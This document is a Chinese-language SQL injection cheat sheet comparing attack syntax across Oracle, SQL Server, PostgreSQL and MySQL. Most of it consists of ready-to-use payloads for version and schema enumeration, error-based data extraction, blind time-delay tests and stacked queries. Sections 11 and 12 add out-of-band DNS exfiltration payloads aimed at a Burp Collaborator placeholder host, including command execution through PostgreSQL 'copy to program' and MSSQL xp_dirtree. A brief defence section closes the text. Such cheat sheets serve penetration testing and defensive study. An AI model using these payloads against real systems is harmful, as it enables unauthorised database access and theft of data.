1. 字符串連接
字符串連接是SQL注入中常用的操作,用于將多個字符串拼接為一個,以構造復雜的注入語句。不同數據庫的字符串連接語法存在顯著差異,了解這些差異有助于精準構造payload。
-
Oracle:使用
||
操作符進行字符串連接,例如:'foo'||'bar'
輸出結果為
foobar
。Oracle的||
操作符簡單高效,廣泛用于動態SQL構造。 -
Microsoft SQL Server:使用
+
操作符進行字符串連接,例如:'foo'+'bar'
輸出結果同樣為
foobar
。需要注意的是,Microsoft SQL Server在字符串連接時要求數據類型一致,否則可能觸發類型轉換錯誤。 -
PostgreSQL:與Oracle類似,PostgreSQL也使用
||
操作符:'foo'||'bar'
PostgreSQL的字符串處理方式與Oracle高度一致,但其內部字符編碼可能影響某些特殊字符的處理。
-
MySQL:MySQL支持兩種字符串連接方式。第一種是通過空格分隔字符串:
'foo' 'bar'
注意,兩個字符串之間必須有一個空格。第二種方式是使用
CONCAT
函數:CONCAT('foo','bar')
CONCAT
函數更靈活,支持多參數拼接,且對特殊字符的處理更穩定。
差異分析:MySQL的字符串連接方式最為多樣,但空格分隔的語法較為獨特,容易被忽視。Oracle和PostgreSQL的||
操作符在語法上統一,但與Microsoft SQL Server的+
操作符不同,攻擊者需根據目標數據庫調整payload。此外,MySQL的CONCAT
函數在跨數據庫兼容性測試中更為常用。
2. 子字符串提取
子字符串提取用于從字符串中截取特定部分,常用于提取敏感數據或構造復雜的注入語句。所有主流數據庫都支持SUBSTRING
或SUBSTR
函數,但參數和行為略有不同。
-
Oracle:
SUBSTR('foobar', 4, 2)
從第4個字符(1-based索引)開始,提取長度為2的子字符串,結果為
ba
。 -
Microsoft SQL Server:
SUBSTRING('foobar', 4, 2)
語法與Oracle相同,同樣返回
ba
。Microsoft SQL Server的實現較為標準,但性能可能因數據庫配置而異。 -
PostgreSQL:
SUBSTRING('foobar', 4, 2)
與Oracle和Microsoft SQL Server一致,返回
ba
。PostgreSQL的子字符串操作支持正則表達式擴展,增加了靈活性。 -
MySQL:
SUBSTRING('foobar', 4, 2)
語法與其他數據庫一致,返回
ba
。MySQL還支持SUBSTR
作為別名,但功能相同。
差異分析:子字符串提取的語法在各數據庫中高度一致,均為SUBSTRING
或SUBSTR
,且都使用1-based索引。唯一的細微差異在于PostgreSQL支持正則表達式擴展,適用于更復雜的字符串操作。攻擊者在構造payload時,通常可以直接復用相同的子字符串提取語句,但需注意目標數據庫是否支持額外的參數或擴展功能。
3. 注釋
注釋在SQL注入中用于截斷原始查詢,移除后續的合法SQL語句,從而讓注入代碼生效。不同數據庫的注釋語法差異較大,需特別注意。
-
Oracle:
--comment
使用雙破折號表示單行注釋,后續內容被忽略。
-
Microsoft SQL Server:
支持兩種注釋方式:--comment /*comment*/
分別表示單行注釋和多行注釋。多行注釋在復雜注入場景中更靈活。
-
PostgreSQL:
與Microsoft SQL Server類似,支持:--comment /*comment*/
語法一致,行為相同。
-
MySQL:
支持三種注釋方式:#comment -- comment /*comment*/
注意,
--
后必須跟一個空格,否則無效。#
注釋是MySQL特有的,廣泛用于Linux環境。
差異分析:MySQL的注釋方式最為豐富,尤其是#
注釋的獨特性使其在Linux服務器上常見。Oracle僅支持單行注釋,限制了復雜場景下的靈活性。Microsoft SQL Server和PostgreSQL的注釋語法一致,適合跨數據庫攻擊的通用payload設計。攻擊者需根據目標數據庫選擇合適的注釋方式,以確保注入語句正確截斷。
4. 查詢數據庫版本
了解目標數據庫的類型和版本是SQL注入攻擊的第一步,因為版本信息可以幫助攻擊者選擇合適的漏洞利用方式。不同數據庫的版本查詢語句差異顯著。
-
Oracle:
SELECT banner FROM v$version SELECT version FROM v$instance
v$version
提供詳細的版本信息,包括補丁級別;v$instance
提供實例級別的版本信息。 -
Microsoft SQL Server:
SELECT @@version
返回完整的版本字符串,包含操作系統和數據庫補丁信息。
-
PostgreSQL:
SELECT version()
返回詳細的版本信息,包括編譯選項和環境細節。
-
MySQL:
SELECT @@version
返回數據庫版本號,格式簡潔,但信息量較少。
差異分析:Oracle的版本查詢需要訪問特定的系統視圖(如v$version
),而Microsoft SQL Server和MySQL使用全局變量@@version
,語法更簡潔。PostgreSQL的version()
函數返回的信息最為詳細,適合需要深入分析的場景。攻擊者在構造payload時,應優先選擇能返回最多信息的語句,同時注意權限限制。
5. 查詢數據庫內容
查詢數據庫中的表和列信息是SQL注入的核心目標之一,通常用于發現敏感數據的存儲位置。不同數據庫的元數據表和查詢方式存在明顯差異。
-
Oracle:
SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
all_tables
列出所有可訪問的表,all_tab_columns
提供指定表的列信息。 -
Microsoft SQL Server:
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
使用
information_schema
視圖,符合SQL標準,易于跨數據庫移植。 -
PostgreSQL:
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
與Microsoft SQL Server一致,使用
information_schema
視圖。 -
MySQL:
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
語法與Microsoft SQL Server和PostgreSQL相同,但MySQL的
information_schema
可能包含額外信息。
差異分析:Oracle的元數據查詢依賴專有的all_tables
和all_tab_columns
視圖,與其他數據庫的information_schema
標準不同。Microsoft SQL Server、PostgreSQL和MySQL遵循SQL標準,使用統一的information_schema
視圖,攻擊者可直接復用相同的查詢語句。需要注意的是,Oracle的查詢可能受用戶權限限制較多。
6. 條件錯誤
條件錯誤用于測試布爾條件,通過觸發數據庫錯誤來確認條件是否成立。這在盲注場景中尤為有用。
-
Oracle:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
使用
dual
表和除零錯誤觸發條件錯誤。 -
Microsoft SQL Server:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
直接使用除零錯誤,語法簡潔。
-
PostgreSQL:
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
通過嵌套子查詢觸發除零錯誤,稍顯復雜。
-
MySQL:
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
使用
IF
函數結合子查詢,觸發錯誤或返回結果。
差異分析:Oracle的條件錯誤依賴dual
表,語法較為獨特。Microsoft SQL Server的實現最簡潔,直接觸發除零錯誤。PostgreSQL的嵌套子查詢增加了復雜性,而MySQL的IF
函數提供了更靈活的條件控制。攻擊者在選擇條件錯誤payload時,需根據目標數據庫的語法特點進行調整。
7. 通過錯誤消息提取數據
通過構造特定的查詢,攻擊者可以讓數據庫返回包含敏感數據的錯誤消息,從而提取數據。
-
Microsoft SQL Server:
SELECT 'foo' WHERE 1 = (SELECT 'secret')
輸出錯誤:
Conversion failed when converting the varchar value 'secret' to data type int.
,泄露secret
值。 -
PostgreSQL:
SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
輸出錯誤:
invalid input syntax for integer: "secret"
,泄露密碼。 -
MySQL:
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
輸出錯誤:
XPATH syntax error: '\secret'
,泄露secret
值。 -
Oracle:不支持直接通過錯誤消息提取數據,需結合其他技術(如時間延遲或DNS查找)。
差異分析:Microsoft SQL Server、PostgreSQL和MySQL通過類型轉換或XPATH錯誤實現數據泄露,Oracle則因錯誤處理機制限制,無法直接利用錯誤消息。攻擊者需針對Oracle使用替代方法,如條件時間延遲。
8. 批量查詢(堆疊查詢)
批量查詢允許在單一注入點執行多個查詢,但結果通常不返回給應用程序,主要用于盲注場景。
-
Oracle:不支持批量查詢,限制了其在復雜攻擊中的應用。
-
Microsoft SQL Server:
QUERY-1-HERE; QUERY-2-HERE
使用分號分隔多個查詢,執行順序嚴格。
-
PostgreSQL:
QUERY-1-HERE; QUERY-2-HERE
語法與Microsoft SQL Server一致,支持多查詢執行。
-
MySQL:
QUERY-1-HERE; QUERY-2-HERE
通常不支持批量查詢,但在某些PHP或Python API(如
mysqli_multi_query
)中可能生效。
差異分析:Oracle的批量查詢限制使其在盲注場景中較為受限。Microsoft SQL Server和PostgreSQL支持標準的分號分隔語法,MySQL的批量查詢依賴應用程序的API支持,實際應用場景較少。
9. 時間延遲
時間延遲用于盲注,通過觀察響應時間判斷條件是否成立。以下是各數據庫的10秒延遲示例:
-
Oracle:
dbms_pipe.receive_message(('a'),10)
使用
dbms_pipe
包實現延遲。 -
Microsoft SQL Server:
WAITFOR DELAY '0:0:10'
使用內置
WAITFOR
函數,格式為小時:分鐘:秒
。 -
PostgreSQL:
SELECT pg_sleep(10)
使用
pg_sleep
函數,參數為秒數。 -
MySQL:
SELECT SLEEP(10)
使用
SLEEP
函數,參數為秒數。
差異分析:Microsoft SQL Server的WAITFOR DELAY
使用時間格式,語法獨特;PostgreSQL和MySQL的pg_sleep
和SLEEP
函數更直觀,參數均為秒數。Oracle的dbms_pipe
實現較為復雜,且可能受權限限制。
10. 條件時間延遲
條件時間延遲結合布爾條件和時間延遲,用于更精確的盲注測試。
-
Oracle:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
結合
CASE
和dbms_pipe
實現條件延遲。 -
Microsoft SQL Server:
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
使用
IF
語句控制延遲,語法簡潔。 -
PostgreSQL:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
使用
CASE
控制延遲,邏輯清晰。 -
MySQL:
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
使用
IF
函數結合SLEEP
,靈活且易于構造。
差異分析:Microsoft SQL Server和MySQL的條件延遲語法最為簡潔,Oracle的實現依賴dual
表和dbms_pipe
,較為繁瑣。PostgreSQL的CASE
語句提供了較高的可讀性。攻擊者在構造條件延遲payload時,需權衡語法復雜度和目標數據庫的權限要求。
11. DNS查找
DNS查找通過觸發數據庫對外部域名的解析,驗證注入是否成功,常用于盲注場景。需要配合Burp Collaborator生成唯一子域名。
-
Oracle:
- 舊版本(存在XXE漏洞):
該方法已修補,但許多未更新系統仍存在風險。SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
- 新版本(需高權限):
需要管理員權限,限制了應用范圍。SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
- 舊版本(存在XXE漏洞):
-
Microsoft SQL Server:
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
使用
xp_dirtree
觸發DNS解析,適用于Windows環境。 -
PostgreSQL:
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
使用
copy
命令調用外部程序,需高權限。 -
MySQL:
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
僅限Windows環境,依賴文件操作權限。
差異分析:Oracle的DNS查找方式復雜且受權限限制,Microsoft SQL Server的xp_dirtree
簡單高效,PostgreSQL的copy
命令靈活但需高權限,MySQL的文件操作方式僅限Windows,限制了跨平臺應用。
12. 帶數據泄露的DNS查找
通過DNS查找將查詢結果附加到子域名中,實現數據外帶。以下是各數據庫的實現方式:
-
Oracle:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
將查詢結果拼接至子域名,觸發DNS解析。
-
Microsoft SQL Server:
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
使用變量存儲查詢結果,動態構造DNS請求。
-
PostgreSQL:
create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();
通過自定義函數實現動態DNS請求,復雜但功能強大。
-
MySQL:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
僅限Windows,數據通過文件路徑外帶。
差異分析:Oracle和PostgreSQL的實現較為復雜,需構造XML或自定義函數;Microsoft SQL Server的實現較為直觀,MySQL則受限于Windows環境和文件操作權限。攻擊者需根據目標環境選擇合適的實現方式。
13. 防御SQL注入的建議
雖然本文聚焦于SQL注入的攻擊技巧,但防御措施同樣重要。以下是針對SQL注入的通用防御建議:
- 參數化查詢:使用參數化查詢或預編譯語句,避免動態拼接SQL。
- 輸入驗證:對用戶輸入進行嚴格驗證,過濾特殊字符(如單引號、雙破折號等)。
- 最小權限原則:限制數據庫用戶的權限,防止高危操作(如文件操作或DNS解析)。
- 錯誤信息屏蔽:避免將詳細的錯誤信息返回給客戶端,防止數據泄露。
- 定期更新:保持數據庫和應用程序的最新版本,修補已知漏洞。
數據庫特有的防御措施:
- Oracle:限制對
v$version
和dbms_pipe
的訪問,禁用XXE相關功能。 - Microsoft SQL Server:禁用
xp_dirtree
等擴展存儲過程,限制information_schema
訪問。 - PostgreSQL:限制
copy
命令和pg_sleep
函數的使用,強化函數權限管理。 - MySQL:禁用
LOAD_FILE
和INTO OUTFILE
功能,限制information_schema
查詢。